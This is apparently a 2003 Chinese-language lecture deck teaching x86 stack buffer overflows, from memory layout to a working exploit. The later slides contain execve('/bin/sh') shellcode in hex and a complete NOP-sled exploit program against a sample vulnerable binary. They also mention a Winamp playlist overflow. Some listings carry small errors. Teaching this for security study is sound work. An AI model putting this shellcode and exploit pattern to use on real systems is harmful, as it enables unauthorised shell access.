330 likes | 668 Views
Buffer Overflow Instruction. Enijmax 2003/06. Buffer Overflow 簡介. 什麼是 buffer overflow? 通常是程式設計師在程式中沒有檢查 buffer 的邊界而造成程式在執行時可以寫超過 buffer 的大小,進而造成系統安全上的問題。 Ex: 以下程式是最典型具有 buffer overflow 漏洞的程式: void main() { char buf[1024]; gets(buf); }. Buffer Overflow 造成的影響.
E N D
Buffer Overflow Instruction Enijmax 2003/06
Buffer Overflow簡介 • 什麼是buffer overflow? • 通常是程式設計師在程式中沒有檢查buffer的邊界而造成程式在執行時可以寫超過buffer的大小,進而造成系統安全上的問題。 • Ex:以下程式是最典型具有buffer overflow漏洞的程式: void main() { char buf[1024]; gets(buf); }
Buffer Overflow造成的影響 • 若有一個buffer位址的後面,有一個變數是管理權限的,就可以利用該buffer來覆蓋到其後的變數,進而造成安全上的問題。 • 要避免這種問題:程式設計者要小心檢查buffer的邊界,或是使用較安全的系統函式(ex:strncpy)來取代原本不安全的函式,甚至不要使用c或c++這種沒有檢查buffer邊界的語言,而改用java等更高階的語言,或是使用靜態的工具來掃描程式是否有buffer overflow的漏洞(splint,mpr,its4…),或是使用動態保護(efence ,smashStade)或是IDS。
程式記憶體位址的配置 • Heap:程式中動態配置記憶體所用的記憶體空間。 • Stack:用來存放function return address和function的local variables(包括參數)及保存暫存器值的記憶體空間。 • BSS(block storage segment):用來存放程式中未初始化的全域變數的空間。 • Data Segment:用來存放已初始化的全域變數 • Text Segment:用來存放程式碼(固定不變的部分)。 • 最後兩塊記憶體大小在程式執行前就固定了。
記憶體位址圖解 • 最上層的是kernel memory,一般的user prog看不到 • 第二層是user stack,是自動配置給function的,用來存放參數、區域變數和return address • 第三層用來存放share library以及memory mapped file • 第四層存放動態配置記憶體 • 第五、第六層是存放全域變數和程式碼。
Buffer Overflow的種類 • Stack Overflow: • 經由設定過長的資料來造成stack中buffer的overflow,主要造成的問題是return addr若被更改,對方就可以把return addr指向他人植入的程式碼,當目前的函式執行完畢時,就會跳去執行植入的程式碼。 • Heap Overflow: • 通常要和stack overflow來配合,入侵者會把程式碼放在heap中,再利用stack overflow來改寫return addr,把它指向heap。 • 除了return address外,可供利用的overflow對象還包括function pointer(c++中的virtual function table)以及setjmp,longjmp的buffer
Stack的特性(x86平台) • 會隨著程式而增減,並且是由高位址長向低位址。 • 依照下列順序來存放各個資料 High address Parameter to the function(存放函式參數) The return address(存放回傳位址) The old base pointer(存放其呼叫函式的stack frame 位址) local variables(先宣告的變數放在較高位址) Low address • Intel CPU based的機器其資料儲存的方式為little endian,例:12(0x00000c)會存放成以下狀況 0xbffffa94: 0xc(12)0xbffffa95: 0x00xbffffa96: 0x00xbffffa97: 0x0 High 依序往高位址放 固定長度為4bytes 固定長度為4bytes 依序往低位址放 Low
Heap的特性(x86平台) • 會隨著程式而增減,但是是由低位址長向高位址。 • 範例: • void main() { • char *str = (char *)malloc(sizeof(char)*4); • char *super_user =(char *)malloc(sizeof(char)*4); • printf(“addr of str:%p\n”,str); • printf(“addr of super_user:%p\n”,super_user); • } 執行結果: addr of str: 0x80496c0 addr of super_user: 0x80496d0
程式範例 • 範例程式碼: • int main(int argc,char **argv); • void concat_arguments(int argc, char **argv) { • char buf[20]; • char *p = buf; • int i; • } • int main(int argc, char **argv) { • concat_arguments(argc, argv); • } • Assembly code concat_arguments: pushl %ebp movl %esp, %ebp subl $56, %esp leal -40(%ebp), %eax movl %eax, -44(%ebp) leave ret High argument Return address %ebp ebp,esp ? 40 buf 56 P i esp Low
和stack相關的CPU暫存器 • Segment Registers • Stack Segment:指向整個stack的頂端。 • Index Registers • Base pointer:指向stack中正在執行的function stack 的 base location(存放在old base pointer的地方),在呼叫函式時會改變。 • Stack Pointer:記錄現在要讀取的var的offset,必須要和ss一起用才能正確指到資料的位址。 high ss Stack esp Func stack ebp low
呼叫函式時的動作 • Caller將callee的參數push到stack中(此時sp會隨之改變) • Caller執行call指令,call指令做兩件事: • 把return address push 到 stack中 • 把program counter指向function code address • 在callee中,會把base pointer push到stack中,並且copy sp的內容到bp中(ex:movl %esp %ebp)。 • 保留原始的register到stack中。 • 保留足夠的空間給local variables。 • function執行過程。 • 當函式要return回caller去執行時: • callee把sp指向return address(call指令幫我們push進來的)。 • Callee執行ret指令,將執行權丟回caller(把program counter指向return address)。 • Caller調整sp到old bp存放的位址。 • Caller會把base pointer由stack中pop出來,回復到之前的狀況。
製作buffer overflow exploit的步驟 • 先找出目標程式中可以overflow的buffer。 • 確定buffer被蓋掉之後到return之前不會再被更改。 • 先分析buffer的位址(stack的位址)。 • 撰寫攻擊程式 • Overflow buffer 導致程式入無窮迴圈。 • 植入attackCode到buffer中。
一個overflow的實例 • 目的: • 讓目標程式可以執行本身函式無限次! • 目標程式: • //progWithBO.c • void concat_arguments(int argc, char **argv) • { • char buf[20]; • char *p=buf; • int i; • char *tmp; • for (i = 1; i < argc; i++) { • strcpy(p, argv[i]); • p += strlen(argv[i]); • if (i + 1 != argc) { • *p++ = ' '; • } • } • } • int main(int argc, char **argv) • { • concat_arguments(argc, argv); • return (0); • }
一個overflow的實例 • 拿到上面的目標程式後,要先做以下兩件事: • 分析function address 為了讓程式不斷地跳入concat_arguments函式中,必需得到該函式的記憶體位址。在目標程式中加入一行:printf(“concat_argument:%p\n”,concat_arguments);重新compile並執行目標程式即可得到函式位址了。要注意的是,我們增加程式碼並不會影響到function address,且每次執行的時候function address都一樣。 註:也可以使用gdb來得到function address • 分析stack記憶體空間 攻擊者必須還要找出buffer距return address的距離,如此才能正 地將function address覆蓋到return address的空間中。 該程式中會在最後加上一個0x32(空白字元),若我們不想讓它去改到 argc的值,就要
一個overflow的實例 • 程式碼: • //attackProg.c • #include <stdio.h> • int main() { • char *buf = (char *)malloc(sizeof(char)*1024); • char **arr = (char **)malloc(sizeof(char *)*3); • int i; • for (i=0;i<44;i++) //將buffer用‘x’去填滿它,順便蓋過中間一些無用的資料 • buf[i]='x'; • buf[44] = 0xc8; //寫入return address • buf[45] = 0x83; //寫入return address • buf[46] = 0x4; //寫入return address • buf[47] = 0x8; //寫入return address • buf[48] = 0x2; //寫入參數(否則的話會被放入空白) • buf[49] = 0x0; //寫入參數 • arr[0] = “./Q1”; //要執行的程式 • arr[1] = buf; //參數一 • arr[2] = 0x00; //null • execv("./Q1s",arr); • }
一個overflow的實例 • 問題:將上兩個程式碼分別編譯過,執行AttackProg.c來攻擊progwithBO.c程式,理論上目標程式應該會進入無窮迴圈,但是事實上並沒有,反而在進入函式兩次後出現Segmentation fault。 • 原因:因為第二次進入函式時,我們並沒有執行caller應該做的事情,其中最重要的就是沒有做return address到stack上的這一個步驟,以致於接下來的pushl %ebp會將old bp寫在原來return address的地方,新的bp也會比上一次呼叫來得高了4個bytes,在strcpy後,覆蓋在return address的資料會變成“xxxx”,以致於再次return時會產生segmentation fault。
一個overflow的實例 • 解決方法: • 把return address用call function的address來填充。 • 取得call function address • 在progwithBO.c code中加入printf(“%p”,concat_arguments); • 先編譯取得assembly code(gcc –c –S –masm=intel Q1.c),產生出.s • 將Q1.s中的code做以下修改: 1. Call concat_arguments -> .JMP_ADDR: call concat_arguments 2. pushl $concat_arguments -> pushl $.JMP_ADDR 1.是新增一個標籤,其指向call concat_arguments的位址。 2.將原本印出concat_arguments的位址的printf改成印出call 的位址。 • 編譯Q1.s(gcc Q1.s –o Q1) • 執行Q1,就可以看到程式印出call concat_arguments的位址。 • Note:也可以用gdb直接取得該位址。
一個overflow的實例 • 得到call concat_arguments的位址後,改寫攻擊程式,把return address改成call concat_arguments的位址。 • 重新執行攻擊程式,就會看到函式呼叫一直loop執行了。 • 現在已經可以把程式跳向任何你想要的位址。
製作一個攻擊程式 • 入侵者將攻擊程式放入記憶體中,並且設計讓被攻擊的程式時,不知不覺地執行到該攻擊程式。 • 通常攻擊程式是一個會取得shell控制權的程式,它的樣子如下: //exploit.c void main() { char *s[2]; s[0] = “/bin/sh”; s[1] = 0x00; execve(s[0],s,NULL); } • 該程式執行完畢後,會得到該系統的shell,此時入侵者就可以執行任意想要執行的指令了。
攻擊程式的binary code • 由於攻擊程式必須藉由overflow buffer來植入,因此需要binary code • gcc –static exploit.c –o exploit • (gdb)gdb exploit • (gdb)disas execve • gdb will show the assembly code, and we have to remove or add some code to satisfy our goal. • execve system call needs four arguments: • eax:System call ID 0xb • ebx:Prog’s path and filename(null terminated) • ecx:address of array arguments(zero terminated) • edx:address of environment string
攻擊程式的binary code(cont.) • 因此我們需要特別將資料的存放重新設計在攻擊程式碼中。 • 在記憶體中必需有執行程式字串“/bin/sh”,且字串以null 結束。 • 必需有一個陣列儲存程式字串和參數,並且以0x0結尾,而我們必需知道其位址並copy到ecx中。 • Copy 0xb 到 eax 中。 • Copy “/bin/sh”字串的位址放到ebx • Copy NULL(0x0)放到edx 中。 • 執行int 0x80 • 若execve執行失敗,則跳出程式(exit),避免產生core dump。
攻擊程式的binary code(cont.) • execve assembly code 0x0804da00 <execve+0>: push %ebp -> 備分base pointer 0x0804da01 <execve+1>: mov $0x0,%eax -> 初始化eax 0x0804da06 <execve+6>: mov %esp,%ebp -> 更新base pointer為stack pointer的內容 0x0804da08 <execve+8>: test %eax,%eax -> 就是xorl %eax,%eax 0x0804da0a <execve+10>: push %edi -> 備分edi 0x0804da0b <execve+11>: push %ebx -> 備分ebx 0x0804da0c <execve+12>: mov 0x8(%ebp),%edi ->放入“/bin/sh”的address到di register中 0x0804da0f <execve+15>: je 0x804da16 <execve+22> -> 未知 0x0804da11 <execve+17>: call 0x0 -> 未知 0x0804da16 <execve+22>: mov 0xc(%ebp),%ecx -> 放入address of arg array到ecx 0x0804da19 <execve+25>: mov 0x10(%ebp),%edx -> 放入null的address 0x0804da1c <execve+28>: push %ebx -> 備分ebx 0x0804da1d <execve+29>: mov %edi,%ebx ->把di存的放到bx中 0x0804da1f <execve+31>: mov $0xb,%eax -> 放入system call id到ax中 0x0804da24 <execve+36>: int $0x80 -> 執行system call
攻擊程式的binary code(cont.) • 上述程式改成如下的組語程式: 00 jmp 0x26 ->執行26 bytes後的call敘述 02 pop %esi ->把string address pop出來 03 mov %esi,0x8(%esi) ->s[0],代表字串 06 mov 0x0, 0x7(%esi) ->s[1],代表null 0a mov 0x0,0xc(%esi) ->s[2],以0做array的結尾 11 mov 0xb,%eax ->放入system call ID 0xb到eax中 16 mov %esi,$ebx ->放入字串的address到ebx中 18 leal 0x8(%esi),%ecx ->放入參數array的address 1b leal 0xc(%esi),%edx ->放入null值的address 1e Int 0x80 ->執行execve 20 mov 0x1,%eax ->eax放入0x1(exit的system call id) 25 mov 0x0,%ebx ->ebx放入0x0 2a int 0x80 ->執行exit 2c call –0x2b ->把string address push到stack中並到第2行執行 31 .string \”/bin/sh\” ->必需字串 /bin/sh\0 address \0
攻擊程式的binary code(cont.) • 編譯該組語語法程式,並使用gdb取得hex code如下: “\xeb\e2a\x5e\x89\x76\x08\xc6\x46\x07\x00\xc7\x46\x0c\x00\x00\x00” “\x00\xb8\x0b\x00\x00\x00\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80” “\xb8\x01\x00\x00\x00\xbb\x00\x00\x00\x00\xcd\x80\xe8\xd1\xff\xff” “\xff\x2f\x62\x69\x6e\x2f\x73\x68\x00\x89\xec\x5d\xc3” • 以上程式碼並沒有錯誤,但是其中有許多null bytes,許多處理字串的函式都會把null bytes當做字串的結束符號,故我們需要移除null bytes,以其他的指令取代會產生null的指令。 movb 0x0, 0x7(%esi) -> xorl %eax,%eax movl 0x0,0xc(%esi) -> movl %eax,0x7(%esi) -> movl %eax,0xc(%esi) movl 0xb,%eax -> movb 0xb,%al movl 0x1,%eax -> xorl %ebx,%ebx movl 0x0,%ebx -> movl %ebx,%eax -> inc %eax
攻擊程式的binary code(cont.) • 修改後的程式碼(共46bytes): 00 jmp 0x1f ->\xeb\x1f 02 popl %esi ->\x5e 03 movl %esi,0x8(%esi) ->\x89\x76\x08 06 xorl %eax,%eax ->\x31\xc0 08 movb %eax,0x7(%esi) ->\x88\x46\x07 0b movl %eax,0xc(%esi) ->\x89\x46\x0c 0e movb $0xb,%al ->\xb0\x0b 10 movl %esi,%ebx ->\x89\xf3 12 leal 0x8(%esi),%ecx ->\x8d\x4e\x08 15 leal 0xc(%esi),%edx ->\x8d\x56\x0c 18 int $0x80 ->\xcd\x80 1a xorl %ebx,%ebx ->\x31\xdb 1c movl %ebx,%eax ->\x89\xd8 1e inc %eax ->\x40 1f int $0x80 ->\xcd\x80 21 call -0x24 ->\xe8\xdc\xff\xff\xff 26 .string \"/bin/sh\“ ->/bin/sh
取得stack位址 ret … bsize Buffer • 放攻擊程式要注意的事項: • 攻擊程式必須是buffer中的一部分,以便計算buffer的起始位址,但不可以蓋掉return address。 • 必須要把return address就是buffer的起始位址。 • 要將return address指向buffer的開端,必須要先找出一個reference的位址,而stack pointer所指向的位址對於每個程式來說想差有限,最適合來做參考位址,以下函式可以用來取得esp的值。 unsigned long get_sp(void) { __asm__(“movl %esp,%eax”); } • 由於每次執行stack pointer都不一樣,也沒有辦法拿到目標程式執行中的stack pointer,所以只能用隨機的offset值和reference的位址來猜測buffer的起點。
加入NOP指令 • NOP是什麼? • NOP是一個processor的指令,是代表所謂的空指令,也就是說processor看到它就什麼都不做,直接執行下一行。 • 為何要在buffer之前加入數個NOP指令? • 若沒有NOP,指令,return address必須精準地指到buffer的開端。為了方便起見,我們加入數個NOP指令在真正的程式之前,return address只要指向其中一個NOP指令即可,它都會執行到後面真正的code。 NOP exploit code ret
Sample • 這是目標(被攻擊)程式(vulnerable.c): • #include<string.h> • int main(int argc,int **argv) • { • char buffer[512]; • if(argc>1) • { • strcpy(buffer,argv[1]); • } • }
Sample (Cont.) • 這是我們撰寫的攻擊程式(exploit.c): • #include <stdlib.h> • #include <unistd.h> • #define DEFAULT_OFFSET 0 /*offset from stack pointer*/ • #define DEFAULT_BUFFER_SIZE 512 /*buffer size*/ • #define NOP 0x90 /*NOP instruction*/ • char shellcode[]= • "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3“ • "\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff“ • " \xff\xff/bin/sh"; • unsigned long get_sp(void) { /*function to get esp values*/ • __asm__("movl %esp,%eax"); • }
Sample (Cont.) • int main(int argc,char **argv) • { • char *buff , *ptr; • long *addr_ptr, addr; • int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE; • int i; • if (argc > 1) • bsize = atoi(argv[1]); • if (argc > 2) • offset = atoi(argv[2]); • if (!(buff = (char *)malloc(bsize))) { • printf("can't allocate memory\n"); • exit(0); • } • addr = get_sp() - offset; /*set buffer start address*/ • printf("Using address:0x%x\n",addr); • ptr = buff; • addr_ptr = (long *)ptr; ret ret ret ret ret Shell Code 46 bytes bsize NOP NOP NOP NOP NOP
Sample (Cont.) • for (i=0;i<bsize;i+=4) //fill the buffer with buff address • *(addr_ptr++) = addr; • for (i=0;i<bsize/2;i++) //fill NOP instruction in the half front of the buffer • buff[i] = NOP; • ptr = buff + (bsize/2) - (strlen(shellcode)/2); • for (i=0;i<strlen(shellcode);i++) • *(ptr++) = shellcode[i]; /*copy shell code into buffer*/ • buff[bsize-1] = '\0'; /*add null terminated symbol*/ • s[0]="./vulnerable1"; • s[1]=buff; • s[2]=0x00; • printf("call vulerable1 program:\n"); • execve(s[0],s,NULL); /*execute target program with designed buffer*/ • }
Sample (Cont.) • 執行./exploit <bufferSize> <offset>後,它會先設定好buffer,再呼叫execve去執行vulnerable,並餵給設定完成的buffer。 • bufferSize : 通常設定比目標程式中的buffer大100bytes,以確保可以蓋到return address。 • offset : 是一個隨機猜測buffer位址的參數,一般大約在+-1000之間。 • 若可以順利取得shell的話,表示攻擊程式達到我們的要求了;若否,表示我們製做的buffer太長或是太短了,太長的buffer會去蓋到別人的stack,作業系統會產生segment fault,太短會沒有蓋到return address,目標程式就會正常結束。
Winamp在windows XP上的buffer overflow • 在winamp 3.0 final和winamp 2.81中,可以使用.b4s來製造buffer overflow。 • 以下是b4s檔案的樣子: <?xml version="1.0" encoding='UTF-8' standalone="yes"?> <WinampXML> <!-- Generated by: Nullsoft Winamp3 version 3.0 --> <playlist num_entries="[number_of_entries]" label="[playlist_name]"> #(1) #first entry <entry Playstring="file:[patch_to_file]"> <Name>[name_of_the_song]</Name> <Length>[file_size_in_byts]</Lengt> </entry> #end of first entry </playlist> </WinampXML> • 若[playlist_name]大於16580b,則ecx,esi和return address都會被overwrite。